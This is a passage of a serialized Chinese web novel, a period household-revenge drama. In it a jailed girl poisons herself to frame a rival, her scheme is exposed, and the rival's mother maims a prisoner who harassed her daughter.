她始终记得自己因为陆筝筝和林婉柔一次次被父亲关禁闭,她们母女打着关心她的名义给她送吃的,那饭食全是被人喝过啃过的样子。
有时送到她面前时,确实是完整的。
但陆筝筝却会故意当着她的面去吃一口,喝一口,给她留下剩饭剩汤。
她气不过全砸了。
父亲反而责备她的更加厉害。
父亲从来就没信过他们兄妹三个。
她如今只不过是想让陆筝筝尝一尝,她曾经尝过的苦而已。
陆筝筝很饿,一开始牢役给她送的饭,她吃不下都给了隔壁那个强壮的**。
自那日牢役提醒她过后,这两日给她的都是素菜。
沈朝昭送来的虽是她故意吃过的剩饭残羹,但沈朝昭吃饭很挑,这些都是陆筝筝最近不曾见过的大鱼大肉。
光是闻到香味,陆筝筝就忍不住吞咽了两下口水。
但为了不被沈朝昭察觉,她故意委屈似的说道:“朝昭,我知道你一直不喜欢我,觉得是我抢了侯爷对你的疼爱,又因为南姨的事误会我。”
“但我真的是无心的,你知道我一直把你当妹妹的。你怎么能这么记恨我,给我送来吃过的剩饭呢。”
“谁要做你妹妹。”
沈朝昭提高了嗓音,待闻到她发间的馊气,抬手轻掩口鼻,嫌弃道:“离我远点,熏着我了。”
陆筝筝脸上的笑容瞬间僵住,眸子里闪过恼恨,但很快就被压下去,依旧一副娇弱的模样。
“朝昭,是我不好,在这牢里待了几日没能好好洗漱,让你嫌弃了。”
“朝昭呀,看在我一直把你当妹妹的份上,你能不能和南姨说一下,我真的是冤枉的,我从来没有想过要害她。”
说到最后,陆筝筝泛红的眼眶里已经隐隐露出泪花。
沈朝昭看到她这般模样,眉头瞬间就皱了起来,“别装了,这里又没外人。”
陆筝筝似被吓着般轻咬下唇,泪水在眼眶里打转,娇弱的声音中带着颤抖。
“朝昭,我知道你一直不喜欢我,可我真的没有害南姨,那马夫必然是在记恨我之前罚了他,故意诬陷我。”
沈朝昭冷哼,“陆筝筝,你少在我面前装模作样,你和你母亲为了想要攀附侯府,做的坏事还少吗?”
“老天若是有眼,你和你母亲就该天打雷劈,坠入十八层地狱,永不超生。”
旁边一直受陆筝筝饭菜“照顾”的强壮**,突然开口道:“你这个姑娘小小年纪,长得那么漂亮,说起话来怎么这么歹毒?”
沈朝昭斜眼看过去,“你算个什么东西,也敢指责本小姐。”
**一双阴狠猥琐的眼睛上下打量沈朝昭,“小姑娘,我是个什么东西,你让
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老子上一下就知道了啊。”
“嘴巴放干净点,本小姐弄死你!”
沈朝昭面红耳赤,捡起脚边的空碗就朝他砸了过去。
**被砸后不仅不恼,反而面露享受,“够味,老子就喜欢你这种够辣的小辣椒。”
说着,**便伸出他那满是污垢的手,想要穿过木栏去抓沈朝昭。
沈朝昭吓得后退一步,口中却依旧强硬道:“你敢动我一下试试,本小姐定让你生不如死。”
眼见**不可能穿过牢房,陆筝筝佯装关切地阻拦道:“你别动我妹妹,我妹妹只是嘴巴坏了点,但她心底是极好的。”
言罢,她又急忙上前对沈朝昭柔声道:“朝昭,你怎么样?”
沈朝昭后退一步,不欲和她亲近,“你少在我面前假惺惺的。”
她到底给人下了什么药。
怎么到哪都有人护着她。
连被关在牢狱里的**都能被她迷惑,还替出头。
陆筝筝双手扶着木栏,水汪汪的眸中全是委屈,“朝昭,我是在关心你,你怎么能这么想我?”
沈朝昭看着她那副模样,只觉得恶心得紧,冷冷道:“我说了,陆筝筝,没外人,别那么装。”
陆筝筝泪水簌簌地往下掉,却是压低了声音轻笑道:“朝昭,等着,你母亲会亲自送我出去的。”
沈朝昭冷哼,“都这样了,你竟然还让我母亲亲自想你出去?简直做梦。”
她让知秋打听了,这几日根本就没人探望过陆筝筝。
连林婉柔和萧临渊都没来。
她凭什么出去。
陆筝筝抬手擦了擦眼角的泪珠,看着地上的饭菜,一副楚楚可怜的模样道:
“朝昭,不管你怎么想我,我很感谢你能来看我,这饭菜既然是你的情意,那我吃下便是。”
沈朝昭看着陆筝筝蹲下身子,端起残羹往嘴里送的模样,直皱眉。
她是故意来恶心陆筝筝,报复陆筝筝的。
但她却没想过陆筝筝竟然会真的去吃。
没有很爽,反而心里乱糟糟的。
实在看不下去,沈朝昭便想转身离开。
哪想陆筝筝刚喝了两口残羹,竟然口吐白沫,直挺挺地倒了下去。
她唇角勾着笑,还对沈朝昭无声发出挑衅。
“等着吧。”
第192章 你还有什么可狡辩的
沈朝昭瞬间面色苍白,她又被陆筝筝算计了。
明明这些饭菜都是她亲口尝过的。
而且一路都未经他人。
怎么可能会有毒。
“快来人,有人**啦。”
隔壁强壮的**焦急地大喊。
这几日吃那小姑娘的菜,还真吃出感情来了。
几名牢役很快便跑过来,打开牢门,拖起陆筝筝就开始为她催吐。
“快叫牢医。”
带班的侍卫也跑过来,一脸严肃,“怎么回事?”
**颠倒黑白地阐述,“这个小姑娘来探望那个小姑娘,那个小姑娘说她是冤枉的,这个小姑娘就想**灭口,给她的饭菜里下了毒。”
侍卫看了眼地上的饭菜,又看了眼尚没想明白的沈朝昭,冷声对跟来的侍卫吩咐。
“先把此人看管起来,饭菜别动,通知仵作过来查验,我去把此事禀报陈大人。”
……
孟南枝赶到刑部的时候,沈朝昭已经被暂时关押了起来。
知夏和知秋在外面哭得语无伦次。
“夫人,小姐只是想去看看陆姑娘,没想过毒害她。”
“夫人,是奴婢不好,奴婢应该守着小姐的,是那个牢役说只能进一个人,奴婢这才没有陪着小姐进去。”
“夫人,您救救小姐,小姐她最怕被关了。”
孟南枝已经从知夏和知秋的言语中,得知前因后果。
不禁对林婉柔那对母女更加恼恨。
她们竟然那般对待她的女儿,简直该死!
而沈卿知做父亲做到让别人欺她女儿到如此地步,更加该死!
沈朝昭看到母亲到来时,一双杏眼中满是自责和委屈。
她想喊母亲,但又怕母亲责备她。
别开视线,垂下头,不敢作声。
孟南枝看到女儿这般模样,内心如被针扎了一样刺痛和酸涩。
她还以为经历阻止陆筝筝进入沈家族谱,和把陆筝筝送进牢狱一事,女儿已经完全放心信任她了。
结果还是有事自己抗着。
孟南枝上前轻轻把女儿揽在怀里,抚摸她的后背,柔声道:“别怕,有母亲在,不会有事的。”
沈朝昭把头埋在母亲的肩膀上,发出浓浓的鼻音,“嗯。”
她是想要报复陆筝筝,却没想过让她死。
当看到陆筝筝口吐白沫的一刹那。
她其实有被吓着。
得到消息的林婉柔同样也赶到了刑部。
她双目红肿,一进牢房就蹲下来,趴在正被医师救治的陆筝筝面前,哭得肝肠寸断。
“我的筝筝呀,你真是受苦了,被小人陷害冤枉不说,如今竟然还遭人毒手,被**灭口。”
“你可千万不能有事,你**,母亲该怎么办啊。”
林婉柔的哭声惊天动地,仿佛陆筝筝已经香消玉殒一般。
她一边哭诉,一边还不忘往沈朝昭身上泼脏水,“南枝,我知道昭儿一直不喜欢筝筝,可她怎么能如此狠心,下此毒手啊。”
“筝筝一直待她情同姐妹,吃喝穿用从来都想着她,惦记着她,她怎么下得去手啊。”
又是情同姐妹。
孟南枝听见这四个字便觉得胃中恶心的翻滚。
她眸色如冰刃般刺向林婉柔,“林婉柔,此事有待查证,你莫要在此处血口喷人,无端往我女儿身上泼脏水。”
“如今真相尚未查明,你就这般急不可耐地将罪名扣在昭儿头上,莫不是心中有鬼,故意为之。”
林婉柔掩住眸中的恼恨,嘴上不依不饶道:“南枝,此事明明白白,筝筝便是吃了朝昭带来的饭菜出的事,还有什么可查?难道你还想包庇朝昭。”
“你的女儿是女儿,难道我的女儿就不是女儿了吗?若筝筝有个三长两短,我即便是拼了这条命,也要让伤害她的人付出代价。”
因公务缠身,来得有些迟的陈大人喝斥道:“住口,刑部重地,岂容吵闹。”
林婉柔不甘心地咬着嘴唇,眼中闪过一丝狠厉。
这陈大人说的是为人公正,还不是处处向着孟南枝。
她压低了声音,继续抽抽搭搭地说道:“陈
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大人,您可得为筝筝做主啊,她如今生死未卜,沈朝昭便是凶手,您可不能因为她是孟南枝的女儿就放过她。”
孟南枝既然把她的女儿弄进牢狱,害她失了很多契机。
她也抓住机会把沈朝昭弄进牢狱才行。
否则都对不起女儿用**为她换来的翻盘机会。
陈大人闻言蹙眉,面色威严道:“林夫人,无需你多言本官也会秉公处理。如今此事尚未有定论,你若再这般无理取闹,休怪本官将你一同治罪。”
“是,大人。”
林婉柔面上一副被吓的噤了声,内心却是松出一口气。
她要的就是他口出“秉公”。
太医很快便收了针,对陈大人拱手道:“大人,陆姑娘所中乃是草乌毒,药性虽烈,喜得催吐及时,毒物未及入脏腑蔓延。”
“经老夫诊治后,脉象虽弱,却已平稳,并无大碍,想来不过片刻,便能醒来。”
林婉柔闻言泪下,面上带了几分庆幸,“没事就好,没事就好。”
她边说边去抚摸陆筝筝的脸,一副爱女心切的模样。
仵作也早已对那饭菜做了查验,此刻上前同样对陈大人拱手道:“大人,这汤羹内确实被下了草乌毒。”
林婉柔压下眼中的算计,立马继续哭哭啼啼道:“陈大人,您都听到了,这饭菜是沈朝昭带来的,如今查出有毒,她就是凶手。”
“您一定要为筝筝做主,严惩凶手,还我女儿一个公道。”
孟南枝冷冷地瞥了她一眼,说道:“林婉柔,仅凭这饭菜是昭儿带来的,就断定她是凶手,未免太过武断。”
“这饭菜在送进来之后,谁又能保证没有被别人动过手脚?说不定是有人故意陷害。”
隔壁强壮**突然开口,“我能保证这饭菜自被那个小姑娘送来后,就没有人动过。”
“那个小姑娘还诅咒她坠入十八层地狱,永不超生。”
林婉柔有了底气,仰头道:“南枝,人证物证皆已证明朝昭就是凶手,你还有什么可狡辩的。”
第193章 陆筝筝罪加一等
“没有人动过?”
孟南枝走到躺着的陆筝筝身前,一把握住她的手腕,“她不是动过了。”
“孟南枝你什么意思?”林婉柔站起身。
孟南枝将陆筝筝葱白如玉的手指摊到众人面前,“陈大人,仵作,你们来看她的指甲。”
陈大人和仵作同时走到跟前,只见陆筝筝拇指与食指指甲缝隙中夹了细碎的粉末。
仵作见状连忙用工具取出粉末,细细探看,并取来碗水沏开,插入银针。
不过瞬间,银针变色。
“大人,是草乌毒。”
孟南枝对陈大人微微福礼,条理清晰,有理有据道:“陈大人,朝昭若想施毒杀害陆筝筝,又岂会往自己带来的饭菜中下毒,这等做法太过愚蠢,稍有查验便会败露。”
“而且,朝昭在送饭菜之前,自己还亲自尝过,若真有毒,她自己又怎会安然无恙。反观陆筝筝,她指甲缝隙中的草乌毒粉末,才是真正的疑点所在。”
孟南枝说到此处,眸手阴冷,握住陆筝筝的手都加重了几分力道,“很明显,是她自己接触了草乌毒,而后又故意装作**,企图诬陷小女。”
林婉柔双目泪下,似受了万般委屈。
“南枝,你说的这些好没有道理,谁好好的会自己给自己下毒,我女儿筝筝她命都快没了,你竟然还在试图诬陷她。”
疼。
陆筝筝在母亲来的那一刻便醒了。
为了让母亲反击,一直在装晕。
如今被孟南枝用力地握手腕,痛得差点维持不住平静的表情。
“你们母女为了算计我的孩子,什么做不出来?”孟南枝冷哼,目光落在陆筝筝微颤的睫毛上。
“陈大人,还请核查陆筝筝随身携带的所有物品,看她是否有携带**。”
陈大人扫过陆筝筝的指甲,再到她发间的簪子,语气严肃,“允。”
孟南枝甩开陆筝筝的胳膊,两名女官上前将陆筝筝发间的簪子取下。
当准备去翻她的衣襟时,林婉柔上前一步扑到陆筝筝面前,护女心切道:“陈大人,我女儿好歹也是未出阁的姑娘,怎能在众目睽睽之下被人查看。”
孟南枝眸光如刀,“林婉柔你这是心虚了?若真无猫腻,何惧一查?”
陆筝筝的清白她不在乎。
但她担心陈大人被她搅缠到真把陆筝筝移到外间,再生了变故。
陈大人与孟南枝的想法一致,他目光如炬地看向林婉柔。
“林夫人,此案疑点重重,若不彻查,如何能还令爱一个清白?事急从权,还望夫人理解。”
女官得了陈大人的命令,将林婉柔一把拉开,去翻查陆筝筝的衣襟。
待摸到她的胸下时,突然停顿下来,“大人,这衣襟里有夹层。”
说罢,便用力地扯开,撕掉一片衣襟,露出里面浅粉色的里衣。
仵作接过那片带有夹层的衣襟查看后,非常肯定地说道:“大人,这里面此前应是装过草乌毒,同样留有草乌毒的粉沫。”
陈大人面色阴沉,“林夫人,如今人证物证俱全,你还有何话说?”
林婉柔眸中闪过恼恨,面上却是哭诉道:“大人,这定是有人故意陷害我女儿,她怎么可能自己携带**来毒害自己呢?”
孟南枝以其人之道还及其人之身,冷嘲道:“林婉柔,都到了这个时候你还在狡辩。若真有人陷害,那这陷害之人可真是神通广大。”
“不仅能精准地往陆筝筝指甲缝里放毒粉,还能在她衣襟夹层里**,如此精心布局,只怕是神仙也不过如此了。”
林婉柔被孟南枝一番话噎得说不出话来。
孟南枝看了眼依旧未曾醒来的陆筝筝。
还真是能忍啊。
她对陈大人再次福礼,“陈大人,陆筝筝既然已被医师诊断无大碍,是否可醒来对质。”
陈大人垂眉看着面前的孟南枝,背后的手指微动。
夫人常在他面前念叨孟南枝,所以他对孟南枝的印象早已固化。
聪慧,冷静。
现在又多了一条,记仇。
还是有仇就报的那种。
没有否决她的提议,陈大人对两位女官微微颔首。
两名女官立马便提了桶水泼到陆筝筝的脸上。
林婉柔惊呼,“陈大人,你怎可动用私刑?”
陈大人面
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色冷峻,“林夫人,此非私刑,不过是让她清醒对质,以查明真相罢了。”
陆筝筝依旧未醒。
陈大人皱眉,“继续,泼到醒为止。”
连泼三次,冷得有些发抖的陆筝筝再也装不下去。
她缓缓睁开眼睛,眼中闪过一丝慌乱,但很快又转换成迷茫,“母亲,南姨,你们怎么来了?还有,我……我这是怎么了?”
林婉柔连忙抱住她,再次泪如雨下,“筝筝啊,你可算醒了,你受了好大的委屈啊。”
孟南枝眼烦地撇开视线。
陈大人冷声询问,“陆筝筝,你指甲缝隙与衣襟夹层中均发现了草乌毒的粉末,此事你如何解释?”
陆筝筝垂眉掩过眼中的慌乱,咬了咬嘴唇,泪水如珠子一样掉下来。
“大人,什么草乌毒,我……我不知道啊,我只知道喝了朝昭送来的汤羹,就晕了过去。”
她是真的哭了。
懊恼的哭。
她在看到沈朝昭送来饭菜的一刹那,突然想到了自救的方法。
在沈朝昭与那**争执时,她偷偷下了一直随身携带的**。
她明明设计得很好,她用毒设计沈朝昭后,沈朝昭必然会无法自证入狱。
那么母亲会顺着要挟孟南枝,亲自把她请出去。
可她怎么也没想到会被孟南枝这么快抓住把柄。
沈朝昭在母亲的鼓舞下,上前道:“陈大人,就是她自己下的药,我给她送来那么多饭菜她一样都不吃,只喝了汤,那汤明明还是她最不喜欢喝的羊肉汤。”
“而且,她在喝之前还威胁我,说我母亲会亲自送她出去。陈大人,她在故意毒陷害我,就是想让我母亲撤诉放她出去。”
陆筝筝苍白地辩解,“我没有,大人,我没有说过。”
陈大人却是不再听她分说,他见过太多案子,此事已是铁证。
“陆筝筝,你先前谋划辱人清白、**一案,本官念你谋划**未遂,已从轻处罚。”
“可你不仅不知悔改,竟然身在狱中还不忘再生事端,陷害她人,简直罪加一等。”
“来人,将她拖下去,依律杖三十。”
第194章 林婉柔跪地求饶
“大人,我冤枉。”
被女官拖住的陆筝筝声音凄惨,“母亲,救我,母亲。”
被她求助的林婉柔,咬了咬牙,突然“噗通”一声跪在陈大人面前。
“陈大人,求您看在筝筝年纪尚小的份上,从轻发落吧。我保证,回去后一定好好管教她,绝不再让她犯错。”
她对父亲做了承诺,一定会把女儿保出来。
可现在女儿还没保出来,竟然又追加了刑罚。
她该怎么给父亲交代,又该怎么……
侯爷这两日被曹景行停了职,正在家烦躁地等待核查结果。
若让她知道女儿竟然又被查出诬陷沈朝昭,那她此前所做的努力就全白废了。
陈大人面色严肃,“林夫人,陆筝筝此次所为,性质恶劣,若不严惩,难以服众。本官已念及她年少,在量刑上已有所考量,三十杖已是宽大处理。”
言罢,便对女官示意,让她们拖她下去,赶紧行刑。
林婉柔见陈大人不为所动,又跪移到沈朝昭面前,“昭儿,你和大人说一下,筝筝她从来没想过陷害你,一切都是误会,筝筝她定然是被人利用了。”
沈朝昭冷哼,“没有误会,她就是在陷害我。”
林婉柔梨花带雨地哭诉,“昭儿,你一定误会了,筝筝一直把你当妹妹看待,怎么会害你。”
“就是她害得我。”
沈朝昭从来没见过林婉柔在她面前这个样子,下意识地想躲开。
孟南枝见状见她护在身后,“林婉柔,你有完没完。”
心知有孟南枝在场,沈朝昭不可能再被她算计。
林婉柔这才又跪移到孟南枝面前,拽住她的裙摆,眼泪模糊道:“南枝,一切都是我的错,你放过筝筝吧,她还小,受不了那么重的刑罚。”
孟南枝嫌恶地抽开裙摆,“林婉柔,你这些年亏待我子女,欺辱我子女,污蔑我子女名声的时候,怎么不说他们小?”
“如今被抓到把柄了,你反倒说起自己女儿年龄小了。林婉柔,求人要有求人的态度,而不是还在颠倒黑白。”
“而且,这是她自己犯的错,本该受到处罚,我为什么要放过她,也不可能放过她。”
林婉柔摇头,依旧不承认女儿的罪行,“南枝,筝筝她是冤枉的,她那么小、那么善良,怎么可能会做出这么种。”
“对,她是冤枉的。”孟南枝点头,神色冷然,语气中满是嘲讽,“因为凶手是你这个母亲啊。”
“林婉柔,你敢说污蔑我名声的事不是你做的?陆筝筝不是在替你顶罪?”
林婉柔被孟南枝说得一窒,含泪的眸子闪了闪,牵强地笑道:“南枝,我怎么可能会害你。”
孟南枝蹲下来,正对她的脸,语气温柔,“婉柔呀,你自称与我情同姐妹,应该了解我,我是不达不得不罢休的。”
林婉柔语气哀求,“南枝,你到底怎样才能原谅筝筝?”
“我是不可能原谅的。”孟南枝替她捋好头发,轻拍她的脸颊。
“不过,我若是你,宁可自己认罪,也不会让孩子受委屈的。”
“林婉柔,你知不知道,十年不见,你做母亲,挺失败的。”
林婉柔抬眸看向孟南枝,不再掩饰眼中恼恨,“那你做女人,也挺失败的。”
孟南枝并未因她的话而有任何生气,反而笑道:“再怎么也比你强,你确定沈卿知是爱你这个人吗?”
言罢,不待她回答便起了身。
抬手握住女儿的手,孟南枝轻笑,“走,我们回家。”
沈朝昭摇头,抬手指向隔壁那个强壮**,“母亲,他刚才侮辱我,还用手抓我。”
孟南枝蹙眉,冷眼看向那名**,“陈大人,他犯的什么罪?”
女儿不提她倒是忘了,这个人刚才还在帮陆筝筝。
陈大人看向牢役,这个**是不他的案子,他并不是很清楚。
牢役道:“大人,此人犯的**,明日即将刑满。”
“**,所盗何物?”孟南枝询问。
牢役道:“女子褒衣。”
孟南枝闻言鼻间冷哼,“把门打开。”
“这……”牢役迟疑地看向陈大人。
陈大人点头。
“昭儿,他哪只手碰了你?”孟南枝随手拔了牢役的配刀走进去。
女儿既然肯向她求助,
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她是不会让女儿委屈失望的。
“两只手。”
沈朝昭不知道母亲准备做什么,也跟着走进去。
孟南枝的目光带着杀意,此前一直叫嚣的**此刻缩着脖子往后躲。
他这种在江湖上混的人,自有一方看人的手段。
那小姑娘好欺负,眼前的这个人可不好欺负。
尤其是在他都开口作证,怎么都想不到还有任何翻盘机会的时候,眼前这个人竟然轻轻松松就解决了。
这种人不好惹。
他讨好地开口,“夫人,草民那是开玩笑,草民没想碰您姑娘。”
孟南枝却不听他解释,手起刀落,直接砍了他的双手。
“啊!!!”
**痛苦地蜷缩在地上。
“这……”
牢役慌忙上前按住痛叫的**。
沈朝昭睁大了双眼看向母亲。
就这么砍了?
就这么复仇了?
陈大人眸色微动,张了张嘴,却是什么也没说。
孟南枝将脚边带在颤抖的断手一脚踢开,正落到林婉柔的腿边。
她吓得面色苍白,下意识地往后退开,“你,你,孟南枝你简直邈无五法。”
孟南枝冷冷瞥她一眼,仿佛看一个无关紧要的物件。
“我早说过,我孟南枝的孩子,任何人都不得欺凌。”
她转身,目光扫过在场众人,最后落在陈大人身上。
“陈大人,此人侮辱我女,依律当斩。”
陈大人微微颔首,示意牢役将**拖走,即刻行刑。
不知这名**此前是谁查的案子,都判轻了。
大衍律例:**三百文以上,轻者刑五年,重者处以绞刑。
尤其是,他竟然还敢在狱中触犯调戏罪。
任何人都救不了他。
腿边的断手还在轻颤,林婉柔心中莫名闪过惊惧。
她是知道孟南枝狠,却从未当场见过她如此狠厉的一面。
孟南枝见她如此胆怯模样,面上生了笑。
“婉柔呀,这次是你的女儿陆筝筝,你说下次该谁了?”
“是你?还是你的夫君?”
“又或者,是你爹呢?”
第195章 奕王知道了
林婉柔双腿有些发软,嘴唇颤抖,“南枝,我们好歹姐妹一场,你当真要做这么绝?”
孟南枝一巴掌打在她的脸上,“别提姐妹二字让我觉得恶心。”
林婉柔捂着发红的脸颊,眸中闪过暗恨,微颤地站起身,“孟南枝,你可知做人莫要太过得意。”
孟南枝看着她终于不再掩饰怨毒的眼睛,轻蔑一笑,“林婉柔,有句话,我同样奉送给你,做人莫要欺人太甚,否则,终有自食恶果的一日。”
言罢,孟南枝不再看她,拉着沈朝昭的手,对陈大人微微福礼。
“陈大人,今日之事多谢了,我与小女先行告辞。”
陈大人颔首,“孟夫人客气了,此乃本官分内之事。”
到了外面,陆筝筝正被两名女官按压着杖刑,板子重重地落在她身上,发出凄惨的尖叫。
沈朝昭停下脚步,看着陆筝筝满身冷水,还有苍白小脸的模样。
很爽。
她还记得自己曾经因为陆筝筝和父亲起争执,被父亲责斥鞭打的样子。
那时的陆筝筝在做什么呢?
她故作柔弱地躲在父亲身后,眼神中满是得意与挑衅。
如今风水轮流转,轮到她遭受这皮肉之苦。
沈朝昭只觉得心中那口憋了许久的恶气,终于吐了出来。
她缓缓走到陆筝筝面前,趾高气扬道:“陆筝筝,你若说你错了,跟我道歉,说不定我会同大人求情,让他们打轻点。”
痛得几乎要昏厥过去的陆筝筝牙齿打战,“朝昭,我错了,对不起,求你,求你让他们打轻点。”
母亲一直没有救她。
她快撑不下去了。
孟南枝蹙眉。
同从牢狱里出来的陈大人也皱眉。
他夫人这位好友的女儿,好像真的不够聪慧。
沈朝昭却是抬起下巴,对着行刑的牢役昂首道:“你们听到没,她说她错了,既然错了,就给本小姐使劲地打。”
孟南枝暗叹一口气。
她这女儿脾气,确实是被养得有些刁蛮。
但好在,自己回来了,女儿也有了刁蛮的本钱。
只是这做事依然不顾后果的性子,还需要在改一改。
牢役下重了手,陆筝筝痛得双眼模糊,“沈朝昭,你这么狠没人会喜欢你的。”
沈朝昭杏眼瞪大,哼了一声,“我有兄长喜欢。”
又悄悄地看了眼孟南枝,没说出“也有母亲喜欢”那句话。
她今日平白给母亲惹了事,虽然母亲很快就解了围。
但她到底是没听母亲的叮嘱,就私自跑了出来。
她担心,母亲心里在埋怨她。
孟南枝察觉女儿的眼神,语气温和又坚定地说道:“我女儿朝昭有的是人喜欢,不需要迎合别人。”
沈朝昭闻言生了笑,杏眼眯成一条线,傲娇地扬起嘴角。
“听到没,我有的是人喜欢,不像你需要靠讨好别人来获得关注。”
重板再次落下,陆筝筝发出微弱的呜咽声。
对于沈朝昭的话,她无力反驳。
因为她深知沈朝昭说得对,她现在所有得来的一切,都是她刻意讨好别人得来的。
为什么?
为什么沈朝昭天生就拥有一切?
为什么她已经那么努力了,母亲对她始终都不满足?
为什么都是母亲,沈朝昭的母亲却可以那么纵容她?
想到此处,陆筝筝一口闷血吐了出来。
彻底被打得晕了过去。
孟南枝看着陆筝筝如此狼狈不堪凄惨的模样,心中没有一丝怜悯。
她对女儿招了抬手,“昭儿,我们回去吧。”
沈朝昭被突然晕倒的陆筝筝吓了一跳,听到母亲唤她,连忙跑过去跟着她一起离开。
马车内。
孟南枝看着女儿没心没肺啃苹果的样子,相皱眉。
她取了帕子递给她,让她擦嘴,低叹道:“昭儿,你有没有想过,如果母亲没有及时赶过去你该怎么办?”
“如果陆筝筝做得再隐秘一点,母亲揭穿不了她你又该怎么办?”
这是陆筝筝,行事太过稚嫩,才被她这么快揭穿。
若是换作林婉柔,只怕女儿要吃上很多苦头。
沈朝昭咽下苹果,满不在乎地说道:“那我就和她同归于尽。”
反正拉死一个垫背的,不亏。
孟南枝心脏微缩,眼皮直跳,“朝昭,母亲怕。母亲怕你受到伤害,怕你因一时冲动而毁了
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自己的一生。”
这是她充满期待,怀胎十月生下来的女儿啊。
她一直含在嘴里怕化了,捧在手心怕摔了的宝贝,怎么会被教导得如此漠视自己的生命。
“昭儿,答应母亲,以后行事莫要如此冲动,遇事多想想后果,可好?你还有母亲、有兄长、有外祖父,有这么多疼爱你的人。”
“母亲希望不管任何时候,遇到什么事情,你都要以自己的生命为主。”
对于两个儿子,她可以直接责斥和打骂。
但对于女儿,她担心过于严厉会让她与自己离了心。
沈朝昭对上母亲紧锁的眉头和担忧的眼神,心中一软,将手中的苹果放回来的车内的桌案上,乖巧地点了点头。
“母亲,我知道了,以后我会注意的。”
她其实也不是真的想吃苹果。
她只是不知道该怎么单独面对母亲。
她担心母亲会说教、责备她。
却没想到,母亲是在完完全全地担心她。
怪不得连一向很难信任的二哥,都说有什么事都可以完完全全地告诉母亲。
她会百分百地支持他们。
沈朝昭重新拿了一颗苹果递给母亲,“母亲,您饿不饿,吃个苹果吧。”
见她如此乖巧,孟南枝眸中闪过欣慰,轻笑着接过来,轻轻咬了一口。
苹果的香甜在口中散开,孟南枝摸了摸女儿的头,温声道:
“昭儿,你记得,以后不管遇到什么,都要第一时间告诉母亲,母亲永远是你最坚实的后盾。”
沈朝昭杏目微潮,用力点了点头,“母亲,我记住了。”
从今日母亲进入牢狱什么也不问,先抱住她的那一刻。
从她说那**抓了她的手,母亲也是什么也不问,直接砍掉那人双手的那一刻。
沈朝昭就知道,她是她母亲。
一个满心满眼都是她,毫不犹豫护着她的母亲。
她母亲,是真的回来了。
不是别人说的冒名顶替。
想到此处,沈朝昭垂下头,有些不敢探看母亲的眼睛。
“母亲,我,我有件事,说了您别生气。”
“奕王他可能知道您是从十年前穿回来的了。”
第196章 该给皇后请安了
少女的心思总是很简单,但又很复杂。
沈朝昭打小就知道奕王萧临渊,但真正与他接触,是在两年前的宴会上。
那时父亲虽然还未将林婉柔纳入侯府,但两人已经如胶似漆,情深意切。
父亲的注意力大多时间都在权势、地位,还有林婉柔那对母女身上。
对她和兄长并不关注,外面只要说句他们的不好,父亲便会责备他们,认为是他们做错了,从来不问过程。
沈朝昭在这种环境下性格越来越孤僻,幸好遇到了蒙面大侠教会她学会反击。
她反击之后,势微的人不敢再招惹她。
但势大的人反而更加嘲讽她。
萧临渊便是在她被人嘲讽时,出现为她解的围。
他送她回家,还宠溺地抚摸她的头顶,说她和她母亲一点也不像。
他说,他和母亲是好朋友,如果受了委屈可以去找他。
他还说,她应该多学点本领。
他还在她不高兴的时候,带她出去守猎。
沈朝昭对这位自称是母亲朋友的奕王,很难不产生信赖。
所以在前几日,陆筝筝入牢狱的第二日,她去见了萧临渊。
沈朝昭也说不清楚是为什么,总之就是想去见他。
萧临渊见到她,依旧待她温和,还问她和母亲相处得怎么样,有没有不适应、
毕竟她母亲整整十年没有回来,还得了病,即便忘记她与她相处不融洽,也是很正常的一件事。
沈朝昭说没有,母亲一直记得她。
萧临渊不信,提出质疑。
她脑一热,就将二哥和她说母亲是从十年前穿回来的事,和他说了。
萧临渊听完后,说她这个理由太假,怕不是她母亲被人冒名顶替的。
其实沈朝昭说完之后,就后悔了,试图圆过来。
但她觉得她再圆,萧临渊也可能不信了。
所以那天回到家后,她怕被母亲发现,才故意躲开母亲的追问,跑回了自己的院子。
沈朝昭说完前因后果,就紧张地咬住了下唇,小心翼翼地抬眸看向孟南枝。
她本以为母亲会惊讶、会质问。
甚至会生气她将如此重要的事情隐瞒至此。
然而,孟南枝只是微微一怔,随即神色便恢复了平静。
女儿愿意敞开心扉和她讲,这是好事。
她不能因此责备她,去打击她的勇气。
孟南枝轻轻拍了拍女儿的手背,温和道:“昭儿,我们这一辈子可能会遇到很多人很多事,但最值得信任和托付的人始终是自己。”
“你并非是普通人家的孩子,你是镇北侯府家的千金,是我孟南枝的女儿,是孟相的外孙,你所接触的人和事都可能牵扯到皇位之争。”
“所以我们在做一件事和说一句话的时候,首先要想一想能不能够承担这句话说出去的后果,如果不能,那么这句话我们便是不能够说的。”
孟南枝也希望自己女儿可以活得潇洒,言辞无所顾忌。
但她的出身注定了她的言行会有所局限,也会被有心人无限放大利用。
母亲虽是教导,但言辞并不严厉。
自觉犯错的沈朝昭心中涌起一股暖流,眸中便是自责,“母亲,对不起。”
孟南枝摇头,将她揽在怀里,“傻孩子,跟母亲说什么对不起。”
“昭儿,你已经大了,要慢慢学会分辨哪些人是值得深交与信任的,哪些人是只能泛泛之交、保持距离的。”
“母亲知道你心思单纯,但在这复杂的世道里,单纯虽好,却也容易受伤。”
想了想,孟南枝觉得有些话还是该与女儿点明白。
“你外祖父如今身为右相,一言一行皆受人关注。母亲此前与萧临渊确实也算熟悉,但他到底身为皇子。”
“历来出身帝王家的皇子,心思最是难测。你与他相处,还是要多留个心眼,尤其是他明确提出要护着陆筝筝。”
“母亲与林婉柔她们母女,是不可能善了的。”
孟南枝没有说这一切是为了子女他们,因为她不想给子女添加压力。
做父母的,不该把“为了你”挂到嘴边。
虽然母亲没说,但沈朝昭也知道母亲如今所做的一切,都是为了他们兄妹三个。
当下便重重地点了点头,道:“母亲,我记下了。”
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>孟南枝面露欣慰,松开女儿,看着她的眼睛,认真道:“昭儿,母亲和你说这些,并不是希望你变得多有心机、多会算计。”
“母亲只是希望你能保护好自己,不要让自己受到伤害。你明白吗?”
巨幕中的女儿就是太过依赖萧临渊,想把一切都依附在他的身上,最后搞得遍体鳞伤。
沈朝昭再次点头,眼光坚定,“母亲,您放心。我会好好保护自己的,也会努力让自己变得更强,和您,和兄长一样。”
她是单纯,但并不傻。
大哥如今跟着太子出去赈灾,回来后必然会受到重用与嘉奖。
二哥也在母亲的安排下,已经确定成为职方司的一员,只要按照规划走,未来成就便不会差。
而她身为孟相的外孙女,也不能一直这般懵懂无知下去。
她必须有所成长,才能不拖大哥和兄长的后腿。
她对萧临渊的感情是有些复杂,但一想原本在她印象里那么优秀的人,竟然还能被陆筝筝所骗。
沈朝昭就觉得萧临渊好像也没有那么优秀了。
